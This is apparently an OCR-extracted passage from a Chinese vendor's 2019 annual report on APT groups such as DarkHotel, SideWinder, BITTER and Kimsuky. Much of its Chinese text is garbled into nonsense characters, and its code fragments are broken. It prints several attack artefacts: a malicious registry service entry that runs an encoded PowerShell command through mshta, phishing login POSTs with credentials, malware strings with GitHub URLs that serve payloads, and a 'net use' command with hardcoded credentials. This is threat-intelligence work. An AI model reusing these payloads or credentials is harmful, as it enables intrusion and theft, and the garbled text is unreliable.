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38 92;

39 V5 = 33

48 while ( 1)
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44 tPathName = v5 + 65;

45 v i rpeW(&RootPathName);
46 =3 || v6 ==4)
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52 &FileName,

53 &WideCharstr,

54 RootPathName,
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58 RootPathName,
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68 RootPathName,

61 RootPathName,

62 RootPathName,

63 RootPathName,

64 RootPathName};

65 byte 45AA74 = RooctPathName;

66 sub_481C9B(&CommandlLine);
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Microsoft Word Online

e Sorry, there was a problem and we can't open this
document. If this happens again, try opening the
document in Microsoft Word.

22: Group123 MK FHAEE

WIS, RAMHAH#TRE, 1277 Rkt
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TLP: WHITE @ igilZz=e

"_#’ OfficeUpdate Et% =™
| RiERR

Vo
@ 0fficelpdate
Bifs: ERiER
Birus: findows

Bi5 () dows'\regedit. exe /s ¥temp®\pagefile reg

ot |22 | imiEs | vanms |

feda{uE (5): C:\Windowshsystem32

Windows Registry Editor Version 5.00
B [HREY_LOCAL MACHINE\SYSTEM\CurrentControlSet\services\I] [
"ErrorControl" = dword:00000000
"ImagePath"="mshta.exe vbscript:Execute(\"Dim a,b:Set a=CreateObject|(
\"\"WScript.Shell\"\") :b=\"\"powershell -encodedcommand
JABoADOARABNAHAATABIAESATABNADOAXABTAFKAUWBUAEUATQOBCAEMAdQBYAHTIAZQBUAH
QRQWBVAG4AdABYAGBADABTAGUAdABCAFMAZQBYAHYAa QBj AGUACWBCAEKAIAAIAGKAT gAp
AC42aQA7ACQAaRARUAFMACABSAGKAdAROACIAIAAIAC kKAfABMAGBACgBFAGEAYWBoOAHSAWW
BjAGgAYQBYyAFOARABbAGMAbwBUAHYAZQBYAHQAXQAGADOAJABVAGKAbgBOADEANGACACQA
XwASADEANGApPACKAfQBSAGYAbwBYAEUAYQB]AGgAewAKkAHIAPQAKAHTARWAKAFSAfQATAG
kAZQB4ACAAJAByADsA\"\":a.Run b&\"\"\"\",0,true:close\")"
"ObjectName"="LocalSystem"
"Start"=dword: 00000002
"Type"=dword: 00000010
"DisplayName" = "LocalSystem"
"Discription" = "LocalSystem"
"i®" = "28 20 27 33 36 2c 31 30 31 44 31 31 30 46 39 39 44 33 32 26
36 31 70 33 32 Sa- 35 31.7d 38 33 70 31 32 31 7d 31 31 35 69 31 31 36
7d 31 30 31 61 31 30 39 70 34 36 70 38 34 70 31 30 31 4c 31 32 30 7d
31 31 36 4c 34 36 61 36 35 70 31 31 30 44 39 39 70 31 31 31 4c 31 30
30 61 31 30 35 4c 31 31 30 61 31 30 33 46 35 33 44 35 38 4c 35 38 44

AR Ar ar AR Aa ra4 Afm AA MY AF Ar- oa AF AR AFr A4 AR AN ar A4 A4 AFm A
'

23: Group123 I EHAT

FOANBINGIE, B Group123 IR E SN E, Z#F 738 DarkHotel g
¥ X Inexsmar, HI1MEE, 1ZBirER A Groupl?23 il DarkHotel 89X & Bir.

MREFRZHBRS P, thiRZENAEE:
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TLP: WHITE @ Bih=e

GreezeBackdoor is a tool of the DarkHotel APT group, which we have previously written about. In addition, this victim was
also attacked by the Konni malware on 03 April 2018. The Konni malware was disguised as a North Korean news item in a
weaponized documents (the name of the document was "Why North Korea slams South Korea's recent defense talks with
U.S-Japan.zip”)

2018-03-26 2018-04-03 2018-09-21
Infected by User downloaded Infection by
GreezeBackdoor Konni malware Downloader of

of DarkHotel strain ScarCruft

Infection timeline

This is not the first time we have seen an overlap of ScarCruft and DarkHotel actors. Members from our team have already
presented on the conflict of these two threat actors at security conferences. We have also shared more details with our
threat intelligence customers in the past. They are both Korean-speaking threat actors and sometimes their victimology
overlaps. But both group seem to have different TTPs (Tactics, Techniques and Procedures) and it leads us to believe that

one group regularly lurks in the other’s shadow.

B 24 R—BinkREHE% (EEERERS, NSEHE )

=N 3|

Ly
"
3
2
-
)

Sa (FnkE) WPEARFERK LN EIRKAEFREZAS, ARENRE KD
NPEARFHEL. N, X, BIRFEM, ST/ IFHINFPEARGMENEEAA, 12
AR FRILLIENBIREY, BLBHEAAML, BEKTIENMARFIET, KEFER
O T Rt 7 AN B4R T+

£ 2019 7F, ZALEA RS/ CVE-2018-20250 B9 WInRAR ACE w122 7 LK%

BXH, HEEZHNERBRA THER TS,
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TLP: WHITE @ [EiRZe

SEWITREEFHERRRAZIREENZMEXREH - RNIE

Il IR M- Q-5 &
& £l
E8

R 07 gy BE)  HRME A0 L

ST REEEHEXREATNER R WNEXRER
ﬁﬁnm&ﬁmﬁﬁﬁ M e B126.cOM>

B
2019%F3H20H 2= £58:38
RS

L TR ..
& 25.1 MB

D L|mTFR © B

SWEXEN.
25 BEHRNNE B
' E o TeEss WABSSEEL rar (EIEMEE)

IR E(C) TER(S) WEss(0) EDN) FEEIH)

BLO@me 00

.;ﬁhu BEE @ 0 == fiE £ZE | grEs
P

m SiaT e e AT EEelES S rar - Ezchd ACE S0, 870 A 19,491,874 =75
o EEEF FE=H fERTETIE CRC32
a

R SC#?E
3L i

26: #H CVE-2018-20250 N )Ef L4 & Mt
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TLP: WHITE @ [EiRZe

e
@¢|H « Microsoft » Windows » [FFEE] FE » BF » B3 '|"'H EEE

@R~ | mABER v #Ev  FESTeE

o5 MEEE j Console Window Hosts.exe
: 2019/4/22 15:59
j = 48.0 KB
W =E
E SEARnGE

B 27: MEEBBIEEXF
MZALRBEANNE KT, NEEZ@IRE QU B8ia15ib 1M S tiiE#8 XMt
NN E, BIREKGEBARSZBH AT, SKASGIRBEKFIZEE0, M

M7 N—BERBY K T

ERFE IR S L2 IIE

‘ QQ/M5/FR/MFELFINSER

[ ] FrasiE

Call =1

28: thigak QU 8RFE P i8IS R E
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Y ifge

TLP: WHITE
654 bytes sent to*. = = i555:80
POST /login.php HTTP/1.1
Host: "M@ .@W_Z_W____5

10

Connection: keep-alive

Cache-Control: max-age=0

Origin: http://’. I .
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
User—-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Geckd
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9, image/webp, image
Referer: http://~ ® ®/ggframe.html?FbmNv=5e4b45e8b2bab07e
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Content-Length: 41

14=11%4 0gg.com&pass=123456789%&verifycode=

29: @EEY Q0 BBFENK SifE /R

MG | Q5 gt i &%

KT RRE S MR RF A RN E E BT AERE

H.pdf
dgg 2.31M  2019%12F830H F42:12 ZIEH

SRR

30: BRI NERE
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TLP: WHITE @ [EiRZe
e <\ lallel@] =

& (& ‘AIEQ ba-pf://' m - . M, index.php?user=ZmFsc2U=&rand=em41ZVVHQmO=&filelink=aHR0cDovL2Z: ﬁi‘ :

DA M BBFENKS

2 -

31: (RIERY I S BEREHIAE KT N2 B0 E R E

POST /ajax.php HTTP/1.1

HOSt: = smll T _ mon . sibw . e s - -

Connection: keep-alive

Accept: text/html, */*; g=0.01

Origin: https:// 5. m n im ~""mmm mn_m

X-Requested-With: XMLHttpReguest

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML
;, like Gecko) Chrome/58.0.3029.96 Safari/537.36

Content-Type: application/x-www—form-urlencoded; charset=UTF-8
Referer: https:// ™ HE B = E- -Z=EE W BW/index.php?user=
ZmFsc2U=&rand=em41ZVVHQmO=&¢filelink=
aHROcDovL2ZzLjE2My5ib20vZnMvzZzGlzcGxheS8/
ZmlszZTOybnFBZ3FPUVILblFaYWFpQVhJX25ZQUhUbXEOT0ZEaESfeFJoZ0g5VjRVTG
d2aWwdYa3NzS01meXBZaUI2cWAMNVAQc]czQ2RGQVFPSkZHaDdvU1ZqUSZwPVgtTkVU
RUFTRS1IVUAFLUFUVEFDSE1FT1Q=&access=d29yazMyMw==&tk=1&tl=1
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;g=0.8

Cookie: rp=1; 1g=0

Content-Length: 160

site=bmV0ZWFz2Q%3D%3D&access=d29yazMyMw$3D%3Derand=em41Z2VVHOmO%3Ds&
‘timestamp=MjAyMCOwMi0OyMCAXN]jowMToyNg%3D%3Dsusername=MTFAMTYzLmNvbQ
%3D%3D&password=MTIzNDU2Nzg5|

Bl 2 B IEIR DL 28/78



TLP: WHITE @ Bih=e

B 32: ERBIMSEEREKS0ER

SR IB I EERNX SR

RImRE.rar

2020 FAEEMDL B4R .doc

K FIFESE A X R F A REMAIE S #hBhitm & 818 0. pdf

B ERIND I T R A IEH# 77 2k doc

EIXA -G ppt.rar

[FEZIWGEDS02TH = e F#t.rar

K= ERE 7. pdf

KT 5 B A IR B= . docx

XXX oJf7 18 R 2R & . doc

& 2 1EABIEA B M XS

3.2 ZR R\ 73 o] B3

R BIEER, RAPRLREEER (APT32. Oceanlotus] , ZAHFRIX
REENENTHR s, EBEAESREEN APTIRTALR, NMXSEFHREXSPEARIK &M
AL, MAANTRBHARGHFE, 7+ 2019 F, BILTEMERPLOHBZR

BROY T iZAAR IR TG,
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TLP: WHITE @ Bih=e

ZAHANBK GBS Al 2, BEREBUFEET]. RBEE. /U, R
REBNEBNINE W F, HBBANTZME, BARENER BN HR KT E AR
#ieks, HEASHNERK, EURFSEEEGERSRITEIGIE, WINETIRI, 1Z

HRB LA RIFERETE, WHENNE, HEMR. BIFSNFEIFERE,

W=
—
[ B3 : 20195
EERE T
HEIBREXE
'E ~ Passwor d o)
| == RN o=
| *z -
P e @"g == —_— |G\ 0‘9551“ )&551+I’Et+;zl=§§d
ESEN - DL Ea T
B3 : 20195
BT IE
HElES rar
(A s
B —
M— S
- 360se.exe
wwlib.dll |
DLLAANE:
Ay T#
L | e —
hrome_elf.dll

dtrect]pg

33 BEABRRBEIE

£ 2019 FRIR TP, Bt BAHRRANMEEHITE T, NREGITHNEE
a8 NRBREX M, AR TNANESEXNZSEIE (L0885 ) H#HThE, muiT
WHEEZEAER, SNIDLRBRE., WIS NREGEZEXAHEA—IF, MmARMERZ
| EfE, REIRB N ESHEREREIE R DA HEIEH payload, RAMEEH

SEE T EN CobaltStrike B beacon 785, Denis REERS. 182489 GhOst,
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TLP: WHITE
‘ *
Shellcode
DI1Main B B
e B %1 LHT AL
sha2b6
sha256
¥
Hook Keyl Key2
‘ \
128 aesl128
aes
Encrypt Data Playload
LdrLoadD11 ! Shellcode CreateThread 256 ehocn
Playload

BRNAY

34 BEFSH payload A

[E3

MR FIRCB LR, BITAERRI T EERERTZBHEMNK T, ERD

shellcode fz, =7 N4 shellcode #1717,

WARNAANET, BRI IR E LB

RAT:

Function name Segment Start Length

E =ub_45 =ez00 00000045 0000000k

|=j; =ub_50 =ez00 0000a0s0 00a0a00s
f| =ub_TZ =eg00 0oooaaT2 000000Fe

| F| sub 183 dovnload & ezec shellcode segl00 0ooon16s oaooi4oz |
f| =ub_E130T =eg00 OOOE150T 00aoaa0s

[[#] sub F180F  load denis RAT seg00 OO0E150F 0o0o0ZATe |

& 35 BERBRNITIE

ZANERRREENNF SN, HFAMOE, XeFrmAEER 2020 6]

FRBREHEES

Bl 2 B IEIR DL
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3.3 RV 73 [o] X1 gk i

A BRI G RR PE AR TGN B L5474 10 F, (TRALAF BITIER

7). B% (Eigz, Patchwork, HangOver] . IR (SideWinder) . BtAm
B X FERLEMFINAI KB, X —mER M TUFE IR & b b

et

[
4 [donot) %, MXLELHLR

BFrtEX,

3.3.1BITTER (2R #)

BITTER (£R ) th@XFEAGHTR LR BMEN— 1R TAH, KT Hinel
FE, 7 2019 &, ZALRNERNKLEALH AR,

ONKRIERES]. B, 1z
BRE NRBGEZEXHFRUAFIHLEE 7T —EE0, BHTZ17NEBANF, FEAMRKRTT

RABRIRE R HIRN D,
mesdmm CHix s DarkAgent [https://github.com/ilikenwf/DarkAgent) , 1R T

# . CNDshell %,

(mWaray

=)

IR R S8R ThRE, G X HFEHE, #

32/78
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https://github.com/ilikenwf/DarkAgent

TLP: WHITE @ Bih=e

Splinter.Properties
Splinter.src.Engines
Splinter.src.Network

4 {} Splinter.sr
> %, R
™
b %, R
b %, R
b %, R
p‘l.'“ R_Fi

[ "r.fb :__:'

[ "r.fb :__:'

[ "r.l,"' R E

b R

b R

b R

b % R

k%, R

b #e R

b, R

b R

> %,

> %,

> %,

b % R
B {} Splinter
b {} Splinter.src.0Objects
b {} Splinter.src.Utils

36: EREMF/NEAA DarkAgent

Bu2ygmm) C#uxtz [https://github.com/AdvancedHacker107/C-5harp-R.A.T-

Client] , [EIFEMRE T XHAHEME, CMDShell FINEES,
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TLP: WHITE @ Bih=e

L0000 T 0 00000000 0 OO,

-
o O [0

b {} Session|

e

37: BERILBFINDANF
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e
=

R AL Z A AE TR 8RA 17K,

TLP: WHITE

A EMT RAT B9HEE, 1508 T
KR NBNIA B ANIE B FR—E0EE, FERERFX T,

R BFF LR ITHIE)ETN:

e
7

i

>< >

FRiE 2 SN,

BRFIRS B R

R RIR 3 gl

MERRER

B REBFE

SEAMBRNE R

WEARERE _HBER
“HERE BT

BRAHTERE 2

39
35/78
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TLP: WHITE @ Bih=e

BETENE, ZHARNE 2019 FRARLEMAR A THBITRE

Statistics Systems Logout

Computer Operating system First Seen Last Seen
1 106 0.5 ASHUR-SPC AshursPC Windows 10 Pro 2019-09-23 2019-09-23 11:03:39
2 1. 210 Windows 7 Ultimate 2019-09-26 2019-10-11 08:53:34
3 582 54 DESKTOP-BSPOD9L  DESKTOP-BSPDDAL Windows 10 Education 2019-09-27 2019-10-24 08:15:44
4 66,2 127 WIN-VUASPOUVSUP  WIN-VUASPOUVSUP  Windows Server 2016 Standard  2019-10-04 2019-10-23 06:28:40
S N 50 ACCOUNTS-PC Accounts-PC Windows 7 Professional 2019-10-05 2019-10-05 10:31:02
6 3 31 WHY-PC why-PC Windows 10 Pro 2019-10-09 2019-10-21 03:48:06
7 45 20 LAPTOP-E9JIPJICQ LAPTOP-EJIPJCQ Windows 10 Home China 2019-10-10 2019-10-10 10:43:04
8 i 173 ADMIN-PC Admin-PC Windows 7 Professional 2019-10-16 2019-10-16 02:34:44
9 1 )4 Windows 7 Professional 2019-10-16 2019-10-21 07:52:23
10 6 100 CT-WINDOWSTHIN CT-WindowsThin Windows Embedded Standard  2019-10-17 2019-10-23 02:01:4)
1m 1 100  DIANNNEPC DIANNNERC WindowsX207%20Enterprise 2019-10-21 2019-10-21 06:42:25
12 61, 204 Microsoft Windows XP 2019-10-23 2019-10-23 02:43:48

40: YA T N ERRERNAD G5 RE

33.28%

BH% 4, thoyEEin&, Patchwork, HangOver, th@%E X PEABMITIRE
IR, b7 +EAGHEiIRSN, PREABHEZARNFEBir. ZARNK LM
GRS ENT, REOLUEME 2009 F 11 H, EORIFEFR, EHPEMKK
R, ZARREBEHXIBONWIMN, BNEFZETEH T T,
£ 20719 F L1, 1244049 badnews /REATEERR P, B2 T 2019 F NH7F,
ZARRFITR T —5kE 8 CnCRAT Buaig = hil/i S, X HEZS T BIFNIE, NTRA
ETEE, SiZALRNER badnews F/RB i, #81 CnCRAT /KRB [EIFE A github F

B=RFERNAERNG, (2F, BARGHEIRUKGHFROZAER LT,
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TLP: WHITE

SRR (R it (HE
e ) TiemEEE Hesske (T8
Bt ( B ) Te60) 2019
FTEF ) ME.. FRERREES...
B 47 GREVEEXH

.rdata: 00+ 0000000C Cof L dee

crdata:00--- 0000004 C (- thttps:/fraw. githubuzercontent. comf fengT86/Customer Support/mazter/Marketingplanl . doc

crdata:00 00000004 C (* open

crdata:00--- 000000ZE C (= “WFlashHelperlUpdate. exe

crdata:00--- 0000001S C inwalid string pesition

crdata:00--- 000000100 C string too long

.rdata:00-- 00000025 C (* IDispatch error #%d

crdata: 00 00000024 C (- Unlmown error Ox¥01X

crdata:00-+ 00000044 C (- FlashHelperlUpdate TaslMachineCore

.rdata:00--- 00000012 C (= Triggerl

.rdata:00--- OO0OOCAE C (- https:/fraw. githubusercontent. comf fengT86/Customer_Support/master/CustomerFackages. exe

crdata:00e 0000003C C (- http:/fmoe-cn. orgfsuccess. ico

crdata:00--- 0000001T C inwalid stoll argument

crdata:00 0000001C C stoll argument out of range

crdata:00-- 00000022 C (= application/jzon

.rdata:00+- 00000003 C (- GET

crdata:00- 00000004 C (- POST

crdata; 00 00000005 C LR ART:]

Crdata:00e 00000005 C “Iptw

crdata: 00 0000000 C 11ell%

crdata:00--- 00000003 Co(- &

42: CnCRAT 7RS44 github FEE AL

3.3.3 SideWinder [DaEE1)

SideWinder [IBEYF) SBiHLERMIBIRPLRFPHE 2018 X580 APT WA

H, £RYPE, HITRIZARNK T HinthEEBH iR, B2M 2019 F77

Bl 2 B IEIR DL
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TLP: WHITE @ Bih=e

b5, BN, ZARNPEFEANNBIE s RE TRE. Wit BineliE %% iR,
FT. Bf%, HXEEIRR BITTER [(ER#]) B—EMEA,
ZARA K RIESF T EEES PIEMAI A, fEEAERAFPmAL

BREEN A, XEFKLAA NN, +2ENREREIRIERSE 18T EIn4

A RBVRBIEETTTIRZ

L
2 |
I 2586 &/ F OEf-M-
e EE 2B ¥R 0 yp Bxh  HRER AW B/ #E BEES
=8 i
.mi MEERE
W LY LSS, . MRail-a.cn> 2019108158 B T%9:33
BHEA:  pla

1M | 1.7Mb

D EERER

m _ _wd.docx

https://polyinc-global.eqgn-cn.net/images/
B7228C3C/34107/1429/09ac31e3/
el Geame0.doc

43. SideWinder BI1& BBt
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TLP: WHITE @ Bih=e

payload B9z A TR 2 BIR T A ZfY, IRACRA dlL iz (BA0E) 81At, m

RAR RAT [&liEAE 48 G RAT,

nzshAll Usershpplication Data‘duthyFiles b

tha¥Tu=. tmp UV write exe
THE i A Windows frite
578 KB - Microzaft Corpor. .

i write. exe. configz

CONFIG T4
1 ¥E

Iklb
Ikli
ik

44: SideWinder 8 payload 10#& A=l
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TLP: WHITE @ Bih=e

Ter

h <
- v e o

EL
=R

"a
uﬁ
=R

"a
“E
=R

a
aﬁ
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TLP: WHITE
45. SideWinder B15 4 RAT

3.4 EAit 77 a1 B3] Bl fi

Hi HafEin+F R EMEER, #BANKZWAEL. Lamberts, Turla %, 1Zh
1 EACIEIHmE, BT zABRARL LA

BIHIZHZR B9 7R BE J1ER B At 75 [l I H 2R BE
A, BBAFARSES. 10T IREFAF, BURHEEENRNS
SIREREZEE

AZMEZBIRAGE,
RBSLmERE] , BIRFRTASE. N, HRETRGHE]

(thoJEE
W lapIER IR &, BEXBMHEEREE, BRETHE, FIERIMEZIFER,

WTE 2019 FRLER & A DI —LE pipeloader, FIIFH SIMB FEHITIEM, H A
R ALGEX M, AFETELIR KT,

/m. Ebr APT I EH

BRFFENM M (APT) #IA NS EBUE BB, HEZEFMNPREG—EE7

\\\\\\\\

2079 F R L B NRR S R IRBE /PR

el d

PR HIEPR, SEXE, HERTIEES,

41/78
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TLP: WHITE U mhzs

201 9IRKRIAPTI LGS X1 SEL

46: PRXEEx APT 4t

4.7 BHE XTI

2079 FRREE £ 5 0 XK FHZMAFRe, EERGEAE AL MR £, A
ANENT AL ENZKEE, BRABE LINFEE LNZKEEZXGEN, HEMEZH
M EMEK T, BIHNRBREEHEFE TR, 2019 F, BHsFFSIHA0 APT HLRRE
RERREREEE, HhigRARRMENALR A Kimsuky il darkhotel,

Kimsuky ARANHEZFT BH0NE, KRS F-MERPLOE 2018, 2019
HIREEE ) Hermit (BR+) 1IMEI—KTAR. 1ZARE 2019 FEHEER, ZREH

B Bim#teT 7T, WEXFHE LG —SA T T
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TLP: WHITE @ Bih=e

upbitcom <event@upbit.cokr> 21~ - 2 9:21
[SHL]EIE EEID—*IﬁWDXJ f*:!:é! GlhﬂE 45 %“—%‘J% ot H

O 1zsve=cEEE g7 22
Jeazs o

MEEELGEEELX G

........

=| O[ME SHHEI A
2| 114 KB

H=SHHIH el & THIETLICH

DMEHHA=E 20199 52 192 FF 20194 5 zagmxl FI =
SO ANWD) ME DM EN M =472 AR|AsUCh Hidez =
SELIC

47: Kimsuky $HX1# EZ— SR TR B RS

mifEtE, DarkHotel {#F T Chrome O-day exploit CVE-2019-13720 £ Xt 28880 Bim
#1775 N" WizardOpium "B EE (5IBBREHENIRS, NE&E5#E 4] .

IR T FKGIIR O 7 B8 R A A M b
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TLP: WHITE @ [EiRZe

EIE

/v arirangmeari.com/index.php o~ G| Y G

¥+ http

o2y

s €18 =2 z2 » [ 58 M0E~ fr - v E @ v HOXE) v AE(E) v =70 @~

otz E 3 :

arirangmeari.com

ZHI108(2019)4 112 22

SHXAM | HAR2|

|OR2IZS & | Hot2l =& | At el Fa | FQ=HE

HUHE LI 22t | 202X | €82 |52 | SAEEY

48: BB EHEHHE M (SIAEREM AR cyberwarls, N&ZEHi#25)

v id="footer-mark" class="col-md-3 mgtop28"agt;

t;a href="index.php"&gt;&1t;img src="./asset/images/footer_mark.png" /agt;&1t;/adgt;

ivagt;

v id="footer-content" class="col-md-9 mgtop2@"agt;

t;div id="footer-nav"agt;
21t;a href="index.php" class=""&gt;&1t;span class="mgtople"sgt;3 = Aalt;/spanigt;&lt;/adgt;&1t;span class="mgleftle
mgrightl@“azt; |&1t;/spandgt;&lt;a href="index.php?t=revolution” class=""&gt;&1t;span class="mgtople"igt, EFEFEF L 2alt;/spandgt;ali
class="mgleft1® mgrightl®"agt;|alt;/spandgt;&1lt;a href="index.php?t=news" class=""&gt;&lt;span class="mgtople"igt;=}=lFF4
&1t ;/spanigt;&1t;/algt ;&1t;span class="mgleftl® mgrightlevsgt;|alt;/spandgt;&lt;a href="index.php?t=ring” class=""&gt;&lt;span clas:
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India makes Kashmir 'The Most Dangerous Place in the World'
By revoking the special status of the strategic territory, India is asking for conflict with Pakistan

The Indian government's decision to revoke the semi-autonomous status of Kashmir and adding a huge number of military troops in the
region is dangerous and wrong. Bloodshed is certain, and tensions will soar.
Kashmir has been the central source of friction between India and Pakistan and a hotbed of separatist activities. Claims to Kashmir have led
to two wars and frequent eruptions of violence and terrorism over the past seven decades, made more menacing by the nuclear arsenals of

aerial dogfights bety

1 India and Paki

dangerous place in the world.”
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Pakistan and India. Only in February, a Kashmiri suicide bomber struck an Indian military convoy, prompting a tense military standoff and
. After an earlier such incident, former president Bill Clinton dubbed Kashmir “the most

ALK | BITTER Ptachwork White Company Confucius SideWinder donot TransparentTribe
PXH B B 7 et Rt
BEE ENEZ ez ENE EnE EnE EnE (g2 el
REHEEZR | PRAHE, & | PREAHE, b | PEAE (g2 s} FEAME, h[F | PRAHE, ¢ | HE
B BEF F F%F
WEHEEIE | BEET O | BRHIG, & | B FA.FEE | BN, a8 | BN, FA. F | B, £A. | BV €45, %8
HENXN | HHBE WM | Ix Il FnR%F | £8iF FEHBir, & | ix

Bl 2 B IEIR DL

46/78



Y ifge

TLP: WHITE
M) . FL{F | HFFAE BAR
b, #ZEERIY
P
REEH | GRERR | GRBRR | GIBREAN, 5 | § SR EZ | GRERAN. | TRSRR | DBREAN. &
B ERE | M. BRE | RE¥ B ERE | BR%E B GRE | R%Z
KiEbatE | 2OM 2013 | ZX0M 2009 | ELM 2016 FH | ZEOM 2013 | ELM2012F | Z0M 2017 | ZOM 2012 Ff
FFEE FREES | BED FREE FEE FREE HES
BR¥¢atE | 2016 FH=E | 2076 F | 2018 F A cylance | 2018 FHE | REEOBE | REXE 2018 | &xFE 2016 F 3
H% 2 Aa | Cymmetria | Aal#{T T8 #® BN K|5 A®RBiHE|F 3 B @ | A#%proofpoint #%
Forcepoint | Xt 1% 4 A [ trendmicr | A& R P ANBR | NetScout 2 | £8
HITTIREE | 1T T1XE8 o) HITTH | H al B9 ASERT
= PR#t T T
R
KRzt | f1ami; 2 | 8 X B F | 8XKE>Zp |8 X BT |8 X K F|gaXKEHE|B X K &
15, XML | ->Zip-> 8 Hll | ->RAT ->Zip ->RAT | ->hta->g3+2 | ->Zip->RAT; | ->Zip->RAT
#i#, BXIK | A->RAT (Rat] ; f21s; M
+ ->Zip-> 8 GooglePlay #2 | ih#2i8
R 2> b

B - R

downloader

Bl 2 B IEIR DL

4778




Y ifge

TLP: WHITE
>TNEHDK
F54AH+
BEER | Office. B#E | Office. apk | Office Ingae . apk | Doc. lnk. apk | Office. Apk | Office. Apk %
[E. InPage. | & =3 % %
apk %
WIS | (++. (#. | C++. (#. | C++ delphi. C#% | C++. delphi. | VB. js. vbs. | VB. (++. | VB5. C#. Python.
java java java powershell . | java & java &
C#, java &
KEHFE | Windows . | Windows . | Windows Windows . | Windows Windows . | Windows
Android % | Android & Android % | Android & Android % | Android &
% 3. MUE APT AREEEN
4.3 EZFEA
Xt FEEMFPEER Y, 2019 F2NFENK—F, MTHEZEE 2019 FHERHZ K,
UIPEHBRFEEWNIE. EEBEMIREMNFE, EZAXIENF, WPIHE NHIMEIK

LthOEAUARN, M EfE RS IK T e BT 2 )RR AI R

WEEK T T1PEAR S GRS BIRALG, WG TTHSR T 1PIHEES AR R

WIFF RO I — T K@ ETEE, 1Z1TohBIGe T PEIME T KRB EAnZ im0 RE )15

Bl 2 B IEIR DL

48/78




TLP: WHITE @ [EiRZe

U.S. Cyberattack Hurt Iran’s Ability
to Target Oil Tankers, Officials Say

Islamic Revolutionary Guards Corps patrolling around a seized British tanker in Bandar Abbas, Iran,
last month. An American cyberattack in June took out a critical database used by the Revolutionary
Guards. Hasan Shirvani/Agence France-Presse — Getty Images
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Steven Braun (202) 862-3655
Pennsylvania Ave., NW Fax: (202) 862-3647
Washington, DC 20500

WASHINGTON D.C

Office of Human Resourcerllob Offers
President’s Council of Economic Advisers

Subject: Job in Council of Economic Advisers; Assistant Director

The Council of Economic Advisers (CEA) recruits Assistant Director. Assistant Directors have a Ph.D. in economics and are typically
on leave from positions at universities, government agencies, or research organizations. Excellent research skills and strong
presentation skills are needed. Assistant Directors participate actively in the policy process, represent the CEA in interagency
meetings. and have primary responsibility for the economic analysis and reports prepared by the Council. In recent years. Assistant
Directors have been faculty members from institutions such as Berkeley, Carnegie Mellon, Cornell, Duke, Georgetown, Maryland,
Michigan, MIT, and Yale, and economists from the Federal Reserve Board, USDA, SEC. and the DOIJ. It has been a productive and
collegial team, and it is supported by an exceptionally strong staff of on-leave PhD students and recent college graduates. The CEA
needs specialists in virtually every field of economics. Most Assistant Directors begin work at the Council in the summer and stay for
a full academic year. CEA staff members must be U.S. citizens and may not also be citizens of another country.

If you are interested in this position you can send your C.V. to cv(@becomestateman.com.
Application Deadline: Applications are accepted on a rolling basis.

The United States Government does not discriminate in employment on the basis of race, color. religion, sex, national origin. political
affiliation, sexual orientation. gender identity. marital status, disability and genetic information, age, membership in an employee
organization, or other non-merit factor.

DATE: Wednesday, May 22, 2019
PLACE: Pennsylvania Ave., NW
Washington, DC 20500
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NEW YORK POWER BLACKOUT; DID IRAN DID
PERFORMED A COUNTER CYBERATTACK?

Share this...

00DOOOO®

Last Saturday night, a blackout in New York left the entire Manhattan area without electric
power; interestingly, the incident occurred on the anniversary of the massive blackout that
happened in 1977 that left the entire city without power, crippling traffic and all work, academic

and domestic activities, network security specialists report.

é POWER BLACKOUT
d CYBEReATTACK
i B [ T
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FEth R A, DX APT34 ARZRE APT ARTE 2019 F=5E)ER, 2019 FIZHLARER
ZAMA LinkedIn R T IFEX PR B, BER. MTF/TWAEL APT K
£, MuddyWater ALRthE 2019 FRIGEAN APT HR 2 —, W T IZARNRENIK T
BH, RPeRs8 IEEAGEERRENREN office X,

,G Rebecca Watts « 1151 A\

Really i'm very busy now, you can check below and find details at
first sheet, also please fill second sheet and send it to me

http://www.cam-research-ac.com/Documents/ERFT-Details.xls
You need windows for checking it because of our security policy
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@] 82918f0396e738fb0833d65ef582...3740c8a5d179b2b4e764605b.docX +

@ TC€| I TCELL Telecommunication

Employee Performance Evaluation Form

Employee Name: Employee ID Number:

Job Title: Department:

This Document Created and Protected with Microsoft Office 2019 version,
For Edit and Work with this document you need to enable compatibility mode.
Enable Editing with this simple steps:

First Click on “  in top of document,

Second Click on “ ” in top of document,

Now you can edit form.

© Microsoft 2019

PRODUCTIVITY:
Produces targeted outcomes and results efficiently and effectively. SELECT RATING

CUSTOMER FOCUS (External and Internal):

Establishes and maintains good working relationships with customers, SELECT RATING
bv understandine and respondine bromotlv to customer needs and
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Microsoft Exchange
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@& Home » Advisory: Turla group exploits Iranian APT to expand coverage of victims

NEWS

Advisory: Turla group exploits Iranian
APT to expand coverage of victims

A joint report from the NCSC and NSA highlighting Turla activity

W 9 Download PDF
21 October 2019 G .
Alert e Print
WRITTEN FOR (D)
Large organisations Na-tlonal Cyber
ber securit .
g:‘ofcssionu\sy SeCU rlty Centre
Public sector apatof GCHQ
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dlLTRaN

Press release
28.01.2019

Information on a cyber attack

On the 24th of January 2019, Altran was the target of a cyber attack affecting operations in some
European countries.

To protect our clients, employees and partners, we immediately shut down our IT network and all
applications. The security of our clients and of data is and will always be our top priority. We have
mobilized leading global third-party technical experts and forensics, and the investigation we have
conducted with them has not identified any stolen data nor instances of a propagation of the incident
to our clients.

Our recovery plan is unfolding as expected and our technical teams are fully mobilized.

Throughout the process, Altran has been in contact with its clients, relevant governmental authorities
and regulators.
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5.1.2 K ii & 2 B o] B 4 IR A% it

2019 4, AIRIEEE 7 2 1R IR I T8 5,

20 lazarus R EEE 9 H-10 HRAE], XTENZER) Kudankulam 18] #7717 7 IXE:

= o o b
of - @a_tweeter_user

virustotal.com/gui/file/bfb39...
Interesting potential DTRACK (CC @Mao_Ware )

Dumps the data mined output via manually mapped
share over SMB to RFC1918 address with a statically
encoded user/pass:

> net use \\\\10.38.1.35\\C$ su.controller5kk
Juser:KKNPP\\administrator

NS4
TH9:37 - 2019FE10H28H - Twitter Web App

B 62: ZRARRDZHHEHA [(NSZEH#E 2]

NMXXZIZEB, HEMRHFAL (I5R0) theliFgE BRI S, XEE

Chandrayaan-2 [(Bf5 2 5) Z2HITYILKE —EBXE?

MUST READ <I1)

